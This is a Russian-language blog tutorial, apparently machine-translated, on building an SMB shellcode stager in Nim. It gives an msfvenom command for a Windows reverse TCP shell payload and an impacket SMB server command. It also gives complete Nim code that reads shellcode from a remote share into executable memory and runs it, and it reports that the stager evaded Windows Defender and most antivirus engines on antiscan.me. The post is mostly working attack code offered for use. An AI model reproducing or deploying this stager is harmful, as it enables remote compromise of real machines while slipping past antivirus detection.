Разработка SMB stager в Nim

Nov 24 2022
Здравствуйте товарищи красноармейцы. Недавно я начал связываться с Нимом по поводу оскорбительного кодирования.

Здравствуйте товарищи красноармейцы. Недавно я начал связываться с Нимом по поводу оскорбительного кодирования. Честно говоря, мне это кажется сложным и странным, но это РАБОТАЕТ!

Сегодня мы разрабатываем простой стейджер SMB, минуя Защитник Windows на момент тестирования.

Если вы предпочитаете смотреть видео, а не читать, полное видео можно найти здесь:https://youtu.be/qq-S2syksL0

Кроме того, если вы заинтересованы в том, чтобы присоединиться к открытому Discord для обмена знаниями и опытом в области кибербезопасности, добро пожаловать:https://discord.gg/dWCe5ZMvtQ

Погнали

Теория довольно проста, идея состоит в том, чтобы избежать записи шелл-кода в файл, минуя обнаружение на основе сигнатур, а также помогая эвристикам. Сначала я пытался загрузить шеллкод по HTTP, но столкнулся со многими проблемами, которые не смог решить самостоятельно. Затем методика немного изменилась. Вместо того, чтобы загружать его с HTTP, полезная нагрузка будет размещена на общем ресурсе SMB и будет напрямую считываться оттуда.

Я использовал бесступенчатую полезную нагрузку msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Прежде всего, мы должны импортировать библиотеку ядра Windows, что позволит нам вызывать Windows API:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Время испытаний!

Я провел 2 теста. Первый — против клиента Windows 10 с включенным и работающим Защитником. Второй против интерфейса antiscan.me.

Ним Стагер против Защитника Windows

Тест 1 начинается с переноса стейджера в файловую систему. Пока ничего не срабатывает, то есть мы успешно обошли обнаружение на основе сигнатур. Теперь запустим и посмотрим:

Стейджер оказался вполне работоспособным, и вот что странно, Defender удалось запустить, но это не убило шелл:

У меня эта оболочка работала несколько минут, и она была полностью функциональной. Я лично понятия не имею, почему защитник не убил его, если вы знаете ответ, я был бы рад поделиться.

Ним Стагер против Антисканме

Не поймите меня неправильно, antiscanme великолепен, но при тестировании стейджеров у них нет способа представить достоверные результаты. Результаты, которые вы видите, полностью основаны на обнаружении на основе сигнатур, поскольку у них нет сетевой возможности для загрузки фактического шеллкода. Я ожидаю, что больше поставщиков AV поймут это при реальном тестировании, но это хороший «первый шаг».

После загрузки стейджера только 4 из 26 вендоров смогли его поймать.

Я считаю, что этот триггер основан на том, что поставщики читают вызовы API Windows, поэтому считают это вредоносным. Конечно, чтобы проверить, что именно пошло не так, мне нужно было бы провести много-много тестов. Это моя теория на данный момент.

Заключение

Играть с Нимом весело, а результаты, которых мы достигли, просто инсценируя вещи, поразительны. Конечно, мы можем использовать более продвинутые методы обхода AV, но мы будем делать это в будущем. Надеюсь, вы нашли этот материал полезным и узнали что-то новое.